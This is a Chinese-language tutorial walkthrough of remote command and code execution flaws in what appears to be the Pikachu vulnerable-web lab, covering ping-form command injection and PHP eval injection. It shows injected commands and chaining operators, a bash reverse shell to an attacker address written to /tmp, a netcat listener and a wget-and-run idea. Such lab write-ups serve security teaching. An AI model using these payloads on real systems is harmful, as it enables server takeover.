概述

RCE(remote command/code execute)漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获" -_-


远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

你可以通过“RCE”对应的测试栏目,来进一步的了解该漏洞。

 

 

 

一、远程系统命令执行之ping命令

该网站给用户提供了一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。如下:

分析

然而开发者没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

加入多注入一个命令:

www.baidu.com; ls .

可以看到,  两个命令都被执行了。

漏洞利用

在我们得知目标系统是Linux的情况下,  我们可以利用以下命令来RCE攻击:

cmd1 && cmd2  // 只有成功执行了cmd1才能执行cmd2

cmd1 & cmd2   // 不管成功与否, 都执行两个命令

漏洞利用---低权限反弹shell

首先分析当前用户是daemon:

查看当前目录下的文件是root的归属组:

所以当前目录没有写入权限,  就不能写木马,  经bash反弹测试,  未成功。

  • /tmp 写入bash反弹shell

/tmp下具有可写可读可执行权限(777),  利用RCE漏洞写一个bash反弹脚本:

1 & echo "bash -i >& /dev/tcp/192.168.10.105/1112 0>&1" > /tmp/hack_shell.sh

192.168.10.105 为攻击者vps 

写入成功后,  在攻击者主机上监听:

nc -lvp 1112

再利用RCE漏洞执行刚刚写入的脚本:

1 & bash /tmp/hack_shell.sh

  • Commix 工具反弹shell

具体参阅:  bWAPP OS Command Injection(Blind) / PHP Code Injection 系统命令执行

 

 

 

二、远程代码执行之eval

web需要输入一个string,  随便输入一个: kobe

然后发现有eval函数注入点:

分析

当我们输入一个php函数:

phpinfo();

web是将用户输入的字符串当做php脚本了解析执行了,  并且没有做严格的过滤处理,  导致了漏洞的产生

漏洞利用

查看数据包可知请求类型为POST,  对应的参数为txt:

那么我们可以利用菜刀连接:

漏洞利用---反弹shell

和上面同样的方法去写反弹shell,  只不过利用了一个system()函数,  或者shell_exec()函数都可以:

另外提供一个思路: 

先将反弹shell的脚本写在攻击者服务器上,  然后再漏洞机上利用wget命令下载shell脚本,  再执行即可。

GitHub 加速计划 / pi / pikachu
3.58 K
728
下载
最近提交(Master分支:2 个月前 )
b19bb06d 优化dockerfile 1 年前
3234bfc6 - 1 年前
Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐